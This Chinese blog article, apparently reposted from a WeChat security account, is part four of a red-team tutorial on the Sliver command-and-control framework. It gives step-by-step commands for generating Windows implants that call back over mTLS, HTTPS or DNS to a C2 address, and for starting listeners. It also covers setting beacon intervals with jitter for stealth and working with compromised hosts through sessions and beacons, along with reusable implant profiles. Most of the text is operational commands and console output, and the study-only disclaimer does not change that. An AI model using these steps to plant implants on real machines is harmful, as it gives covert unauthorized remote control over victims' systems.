红队C2工具Sliver(四)| Sliver信标与会话操作

admin 2023年6月12日10:28:44评论177 views字数 5343阅读17分48秒阅读模式

点击蓝字 关注我们

红队C2工具Sliver(四)| Sliver信标与会话操作

免责声明

本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。

如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。

文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。

添加星标不迷路

由于公众号推送规则改变,微信头条公众号信息会被折叠,为了避免错过公众号推送,请大家动动手指设置“星标”,设置之后就可以和从前一样收到推送啦

红队C2工具Sliver(四)| Sliver信标与会话操作

一、C2的概念

command and control框架允许攻击者充分利用计算机系统或网络的现有访问权限,C2框架通常不会允许访问还没有控制的系统,无论采用什么方法获取权限,后续的操作一般都被称为"后渗透"行为。

Implant

植入物。用于维持对环境或系统的访问的软件的术语,就是一种shell文件,这是攻击者在目标机器上执行并保持访问的代码。也就是一种Agent。

Beacon

信标。可能指植入物定期连接到C2服务器的通信模式,与使用有状态/真实的连接的CS的主要植入物不同(通常被称为CS beacon)。

在Sliver中,会话模式下,植入物会从目标创建永久的网络连接,C2服务器在输入命令后会立即反馈,就像在SSH或powershell上使用一样,但这种长期连接容易引人注意。

而在信标模式下使用的话,植入物会有规律的创建临时网络连接返回到目标,在此期间植入物会进入休眠状态,你的命令不会立即执行,它会被排队等待直到下一次信标检查时执行,这样不太方便,但会让它更隐蔽不那么可疑。

Stage

翻译成"阶段"或者说"分段有效载荷"(stage payload)是通常通过网络将代码段加载到远程机器上的方法。传统上,分段与具有大小限制的攻击结合使用。通常情况下目标执行一小段代码,即"stager",其进而加载更大的一段代码。如今,分段有效载荷仍然以这种方式使用,但是它们也经常用于绕过反病毒检测(AV杀毒软件),因为大多数恶意代码直接加载到内存中。阶段又是是数字的,例如:“阶段0"将加载"阶段1”,其加载"阶段2"的payload。

二、环境说明

Sliver支持几种不同类型的网络连接,都可以用于信标和会话(Beacon和Session),这里我们主要使用双向TLS(即mTLS)网络连接进行演示。

步骤:使用Sliver生成信标和会话的植入物,将它们以网络下载的形式发给目标,然后执行植入物并与C2服务器进行交互。

大致思路和流程如下:

生成植入物-》设置监听-》上传植入物-》运行植入物-》上线Sliver服务端-》客户端操作Session

红队C2工具Sliver(四)| Sliver信标与会话操作

三、植入物会话

生成植入物使用的命令是generate

PS:Sliver支持tab补全,这一点很舒服,输入gen然后直接tab就能补全

具体命令详情可查看帮助信息:

sliver > generate -h	帮助信息

sliver > help generate

3.1、generate参数解析

监听器

就是Listeners或者说Jobs,Sliver支持的监听器有许多种,生成植入物时,必须指定至少一个C2监听方式,可以是–mtls、–wg、–http、–dns,除此之外还有几个特殊的这里先不展开。

--mtls 192.168.0.253:指定连接方式以及C2 IP
--mtls:双向TLS,指定植入物使用相互验证的TLS连接
--wg:WireGuard
--http:用于http(s)连接
--dns:用于基于DNS的C2

针对mTLS和wg

mTLS是双向认证的意思,是基于1.3的TLS协议简化修改而来,是一种安全可行,用于短链接的安全模式。

wg是WireGuard的意思,下一代内核网络隧道,在第3层运行,作为Linux的内核虚拟网络接口实现,其目标是在大多数情况下取代IPsec,优点如下:
更轻便:以Linux内核模块的形式运行,资源占用小。
更高效:相比目前主流的IPSec、Open[Virtual Private Network]等协议,WireGuard的效率要更高。
更快速:比目前主流的[Virtual Private Network]协议,连接速度要更快。
更安全:使用了更先进的加密技术。
更易搭建:部署难度相对更低。
更隐蔽:以UDP协议进行数据传输,比TCP协议更低调。
不易被封锁:TCP阻断对WireGuard无效,IP被墙的情况下仍然可用。

系统

默认就是Windows。指定生成在Windows、Linux、MacOS上运行的植入物。

--os windows:指定Windows
--os Linux
--os mac:注意,不是macOS

以下命令用于生成一个slip windows可执行文件(PE),该文件将使用双向TLS(即mTLS)回连服务器

generate --mtls foo.example.com

系统位数

默认64位,32位需指定

64位,默认值:--arch amd64
32位,指定设置:--arch 386

植入物格式

默认值就是可执行文件,会根据前面的–os来默认生成,Windows是exe,Linux是elf,mach-o是mac,生成其他类型文件则需要指定。

可执行文件的格式和后缀没有直接关系,Linux和mac上的两者是没有后缀的

指定Windows可执行文件格式:--format exe

保存位置

设置保存的位置,如果不设置则默认保存到当前目录,如果是用客户端生成植入物则会保存在客户端目录。

--save 路径

3.2、生成植入物

支持生成Windows、Linux、MacOS平台的植入物。

generate --mtls <Server IP>  --save ./test.exe --os Windows

红队C2工具Sliver(四)| Sliver信标与会话操作

这里如果不设置文件名和类型,只设置路径会生成 LIVING_PANTY.exe

sliver > generate --mtls 192.168.0.253 --save ./ --os Windows

红队C2工具Sliver(四)| Sliver信标与会话操作

多协议植入物

Sliver 支持多协议,可以使用多个协议生成植入物, 目的是出现一个协议不通的时候使用其他协议,Sliver 会按照协议优先级进行连接,(优先级:MTLS -> WG -> HTTP(S) -> DNS)

sliver > generate --mtls 192.168.0.253 --http 192.168.0.253 --save ./mult.exe --os windows

3.3、查看植入物列表

输入 implants 会显示生成过的植入物列表

注意:implants会显示之前生成的 Session 和 Beacon 列表,而不仅是Session。

sliver > implants

红队C2工具Sliver(四)| Sliver信标与会话操作

3.4、设置监听

上面生成的 shell 协议是 mtls ,那么这里直接输入 mtls 设置 mtls 监听。

sliver > mtls

[*] Starting mTLS listener ...

[*] Successfully started job #2

指定端口监听

其他协议也是类似,–协议名就是开启协议的监听,开启的端口是默认端口,如果手动设置了端口的话可以使用 -l 参数指定一下端口

sliver > https -l 448

[*] Starting HTTPS :448 listener ...

[*] Successfully started job #4

查看监听

输入 jobs 可查看目前开启的监听。然后在目标机运行 shell 文件,这边显示上线

sliver > jobs

ID Name Protocol Port
==== ======= ========== ======
1 mtls tcp 8888
3 https tcp 443
4 https tcp 448

关闭监听器

jobs -k ID
演示:
sliver > jobs -k 2

[*] Killing job #2 ...

[!] Job #2 stopped (tcp/mtls)

3.5、Session上线

然后在目标机运行 shell 文件,这边显示Session上线

红队C2工具Sliver(四)| Sliver信标与会话操作

会话操作

可以使用Session参数或者use参数来对Session进行操作

sliver > sessions	 		 #显示所有会话
sliver > sessions -k 4db33d09 #杀死会话4db33d09
sliver > sessions -i 4db33d09 #进入会话4db33d09

sliver > use 31c4e65f #进入会话31c4e65f,可以Tab补全

进入 Session 后就是后渗透操作了

红队C2工具Sliver(四)| Sliver信标与会话操作

红队C2工具Sliver(四)| Sliver信标与会话操作

四、植入物信标

上面的Session模式的植入物简单的讲完了,接下来讲一讲Beacon模式的植入物。

也是使用generate beacon命令,详细信息可以使用help generate beacon进行查看。

4.1、生成Beacon

--seconds 5:指定信标每5秒钟联系一次C2服务区,也可以使用--minutes, --hours或者--days
--jitter 3:指定应向5秒间隔添加最多3秒的附加随机延迟,这个也是为了增加隐蔽性

生成Beacon信标,其他参数和Session模式一样

sliver > generate beacon --mtls 192.168.0.253 --os windows --arch amd64 --format exe --save ./beacon.exe --seconds 5 --jitter 3

[*] Generating new windows/amd64 beacon implant binary (5s)
[*] Symbol obfuscation is enabled
[*] Build completed in 27s
[*] Implant saved to Sliverbeacon.exe

设置监听,执行Beacon植入物,上线

[*] Beacon 006f6427 FASHIONABLE_PRONUNCIATION - 192.168.0.122:3312 (LAPTOP-admin) - windows/amd64 - Thu, 13 Apr 2023 11:35:31 CST

查看Beacon列表

sliver > beacons

006f6427 FASHIONABLE_PRONUNCIATION 0/0 mtls 192.168.0.122:3312 LAPTOP-admin admin windows/amd64 zh-CN

4.2、使用信标

Beacon模式颜色是蓝色,Session模式颜色是红色。

Beacon也是使用use来操作

sliver > use 006f6427-81d0-4b07-96d0-03e1e7c1bd06

[*] Active beacon FASHIONABLE_PRONUNCIATION (006f6427-81d0-4b07-96d0-03e1e7c1bd06)

sliver (FASHIONABLE_PRONUNCIATION) >

五、信标切换到会话

Sliver 支持信标切换为会话,但目前不支持会话切换为信标。

使用interactive命令可以做到这个操作,该命令具体信息使用interactive --help即可查看。

注意:原来的Beacon并不会消失!

进入一个Beacon,将它转换为Session

sliver (FASHIONABLE_PRONUNCIATION) > interactive

红队C2工具Sliver(四)| Sliver信标与会话操作

六、配置文件

生成植入物需要的参数很多,要设置参数才能生成,但我们可以为常见植入物设置可重复使用的默认配置

6.1、生成默认配置文件

使用关键字profiles new即可新建一个植入物配置,例如下面的生成了一个名字叫Session_win_default的配置文件。

sliver > profiles new --mtls 192.168.0.253 --os windows --arch amd64 --format exe session_win_default

[*] Saved new implant profile session_win_default

6.2、使用默认配置文件

使用profiles generate,根据配置文件生成新的植入物

sliver > profiles generate --save ./shell.exe session_win_default

6.3、创建信标配置文件

很类似,关键词是profiles new beacon,创建新的信标配置文件

sliver > profiles new beacon --mtls 192.168.0.253 --os windows --arch amd64 --format exe  --seconds 5 --jitter 3 beacon_win_default

使用信标配置文件创建植入物

sliver > profiles generate --save ./ beacon_win_default

参考

https://0x90-1.gitbook.io/sliver/
https://dominicbreuker.com/post/learning_sliver_c2_02_beacons_and_sessions/

原文始发于微信公众号(sechub安全):红队C2工具Sliver(四)| Sliver信标与会话操作

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月12日10:28:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红队C2工具Sliver(四)| Sliver信标与会话操作http://cn-sec.com/archives/1798659.html

发表评论

匿名网友 填写信息